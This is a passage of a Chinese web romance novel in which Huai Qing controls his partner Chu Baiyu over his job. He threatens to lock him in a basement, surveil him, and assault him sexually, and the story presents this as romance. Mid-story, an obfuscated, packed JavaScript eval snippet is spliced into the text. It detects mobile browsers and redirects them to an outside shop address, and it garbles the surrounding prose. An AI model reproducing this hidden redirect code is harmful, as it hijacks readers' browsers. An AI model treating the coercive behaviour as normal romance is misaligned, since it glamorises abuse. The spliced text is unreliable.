回到屋子后楚白屿无奈叹口气,开始收拾这满屋的旖旎。等拾掇到厨房,锅里竟还有碗参茶在锅里温着,是淮青临走时煮好的。
该是温馨场面,只是旁边那张纸条上的话,让他把到了眼角的热泪咽了下去。
HQ:喝,不然总晕。
他回想到这几天的生猛经历,捂了捂屁股。上战场一样咕嘟咕嘟喝了整整一大碗,才又窝到卧室又补了觉。
不知从何时起,淮青对楚白屿的控制如同野草般疯长不停;开始渗透到他们生活的每一处。
他不希望楚白屿再找工作,生出要把人圈在家里,幻想着一回家就有温暖怀抱,狠狠腻歪生活的念头。
可楚白屿并不愿意,极力坚持要找工作;说什么即便两人在一起,也不想依附别人活着。
俩人为这起了不少争执,也吵了很多次,严格来说应该是淮青单方面吵了很多次。
HQ:我再说一次,不准出去找工作!
CBY:要工作的,拜托你,别这样好不好?
HQ:我哪样了?楚白屿你讲清楚!我哪里样了!你信不信我现在不工作了,立刻回家搞个地下室!把你锁进去!我看你还要不要工作!
CBY:别生气,我尽量找个双休的
HQ:……
无语实在是无语,要知道,那么多人削尖脑袋想上位,无非都是看上淮青的容貌和优渥条件。现在他求着包养楚白屿,却被三番五次拒绝。
淮青看着信息气到牙疼,他实在不明白为什么,这人就不能老老实实做个金丝雀?
电话打通又骂了半个小时,楚白屿还是不肯退让,一味地边哭、边劝、边要工作。
无奈之下还是淮青退而求其次,打算利用人脉关系,直接把楚白屿挂进朋友一家公司,做点轻松悠闲又不费事的活。这样既能满足楚白屿找工作的想法,又能在一定程度上掌握他的行踪。
可惜,又被拒绝了。
理由是:只想做喜欢的工作,不想有求于人;而且他们只是约定恋爱,不想过多进入彼此的生活。
这理由让淮青再次火大,前一句还能忍,后一句直愣愣往他肺管子里戳;他巴不得时刻守着楚白屿的行踪,楚白屿却能说出不想过多进入他的生活话,他怎么能不火大呢?
不顾工作人员阻拦,淮青买不到机票买了连夜站票,非要回去教育楚白屿不可。
得亏陈舟小报告打得快,淮南乔几条信息电话,又把他逼回来继续工作。
回不去,淮青的行程也越排越满,硬是挤时间跟楚白屿打电话或者视频。
打多了,而且都是没话找话,楚白屿步入找工作阶段,也开始接的不那么勤快。
再往后不是没看到未接来电,就是在面试不方便,几乎十个接通五个已经是谢天谢地了。
可是淮青还回不去,骂多了都骂累了,只能干生气。
一档综艺上,导演应观众要求,让嘉宾两两抽签配对,即兴表演情侣吵架演戏。
抽中他的是个小明星,叫顾岑。
长得乖乖软软的,粉发粉衣服一笑两个甜甜的梨涡,像块草莓蛋糕似的。
凭这长相抽中他的,别人估计都舍不得骂。
可淮青不同,他有一肚子气。现在正属于瞌睡有人送枕头,而且对面又不是真的楚白屿,他还不用担心把人骂哭,即兴都成本色出演了,哪儿有半点怜香惜玉。
顾岑桃花眼眯起来,热络伸手打招呼:“淮哥哥好~”
导演刚一喊开始,上一秒还在温柔握手的淮青,下一秒眼神冷得像冰锥,刺人火力全开。
淮青:好?我不好!一点都不好!电话不接视频不回?你想干什么?说话!
顾岑:我…
淮青:你什么你?笑什么?好笑吗!这就是你的态度么!你算个什么东西啊?真的不想跟我谈!那就分手啊?冷我算什么意思?你以为我除了你没人要了?你……(此处省略N字)
顾岑:亲爱的,消消火嘛,我……
淮青:别叫我亲爱的!让你亲我一下都费劲,我欠你的么?……(省略N字)
淮青:我随便大街上抓一个……(省略N字)
淮青:妈了,妈,麻…麻烦你搞搞搞清楚!
越骂越爽越上头,他差点没刹住,对着镜头爆粗口。吓得陈舟一脸冷汗,不住在台下给他使眼色让他收敛点。
淮青激情澎湃发泄完,爽透了。
导演和其他嘉宾都愣在原地,没人喊卡。直到对面的顾岑捂着脸哭着跑离镜头,才算结束这场即兴。
本以为会有黑料,不料第二天却上头条收了波狂热粉丝,一时间留言都是:
#哥哥骂我##淮哥淮哥选我我抗骂##这即兴也太实力派了吧?#……
发泄好神清气爽的淮青,这两天给楚白屿打电话心情语气都明显好多了。甚至都不再阻止他找工作,没了他的阻挠,天生牛马的人儿,三四天就找到了新工作。
是家中型规模的广告公司,工资也比之前高了两千,唯一不变的是加班还是不断。
也就导致了,他给淮青的时间更少了,对于每天的电话和视频,他能秒接的寥寥无几。每次接起来也都是一副困怏怏模样,好几次聊着聊着就睡着了。
这种态度,不亚于在淮青的底线上疯狂试探。
依旧是刚下班,手机在他下班后的半小时电话轰炸不停,只是楚白屿太累了,在地铁上睡了一觉回到家才看到。
他深呼一口气强打疲惫,边换鞋子边回拨。
铃声响两下就接通了,随后刺耳的声音从听筒里传出来。
“你到底在干什么?又不接?我就该在你身上掏个洞按个监控算了!”
“我……刚加班回家啊。”
楚白屿习惯了这吼声,惯性侧过头把手机拿远些,回应的嗓音有些沙哑。
电话那头,安静了几秒,淮青声音拔高两个调直接质问他。
“然后呢?”
“还有……什么吗?”
“我外出这么久,你不担心我?”
“为什么要担心啊?你不是都这样二十几年了,会有什么事情么?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305262|198698||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“好啊,好!好!”
楚白屿也没谈过恋爱,更听不懂这人话里的讨关心,只是出于生活常识本能回应而已;可淮青从一开始就给他发信息,哪怕上厕所的功夫都要问候一下。
想到眼巴巴等了一整天,恨不得看八百遍手机,结果换来的只是不咸不淡的客气,淮青觉得实在憋屈压不住火。
“你非要找那种破班!加加加!加加加!加个没完!我真是操了!你到底是签合同还是卖身契?楚白屿……”
轰炸的话一句紧接一句,又急又躁;楚白屿根本插不上话,只能嗯嗯嗯应着,就这么听了五分多钟,耳膜都发麻了。
直到淮青那边传来催促声,他才停下,丢下一句。
“我要开视频!”
“嗯……哈?”,楚白屿回过神,看着挂表的时间不禁反问,“现在么?现在已经十一点了啊。”
炮仗这会一点就炸,他被拒绝又开始输出。
“你还知道十一点了?我今天打多少电话,你接了几个?几分钟!我早上四点起来工作给你发消息,你一条没回!一条都没!楚白……”
两人在一起这段时间,他已经习惯了这人炸毛,以为淮青还要输出一会,干脆打算开个免提,一边听骂一边收拾收拾屋子,也好分散些注意力免得瞌睡。
眼睛实在太疲惫,点免提的手指一抖,误触了挂断按键。
嘟——
世界安静了,楚白屿也瞬间清醒不困了。没出十秒,手机弹出叮叮叮语音轰炸:
楚白屿懵懵地看着手机,大脑一片空白。还没回过神。
HQ:楚白屿!你直接挂我电话?你敢挂我电话?
HQ:我*了!我接你电话工作都往后推着!你挂我电话!你是不是出轨了?
HQ:不回我?又不回我?!楚白屿!
HQ:好!好!行,你等着!
.......
两分钟内,密密麻麻、不停歇地弹出了十几条消息。
他的脑子彻底宕机了,不知道先回复哪条,也不知道怎么回,才能有效平息这人的怒气值。
毕竟他一直认为淮青腻了就会分手,所以从来不曾交付整颗心,俩人不在一起的时候,他为了避免感情依赖,对淮青的态度确实疏离又客气,也从来没有主动发过信息打过电话。
手机界面不再弹出新语音,几分钟后,屏幕顶端突兀弹出一条银行卡到账信息:
手界面的信息刚消停会儿,屏幕顶端又突兀地弹出一条银行卡到账信息。
XX银行账户XXXX他行转入(淮青转账)100000.00元,余额.....
转账备注写着:“不是喜欢上班?一万买你一分钟,我要当你十分钟老板,马上开视频!要是拒绝,我回去干死你。”
楚白屿手指慌乱地拼命打字,总觉得用词不妥,打了又删、删了又打,安抚客气的话还没发出去,新的文字消息又跳出来。
内容更是简单粗暴:
HQ:再拖?信不信我现在就买票,回去把你生直腔都干开?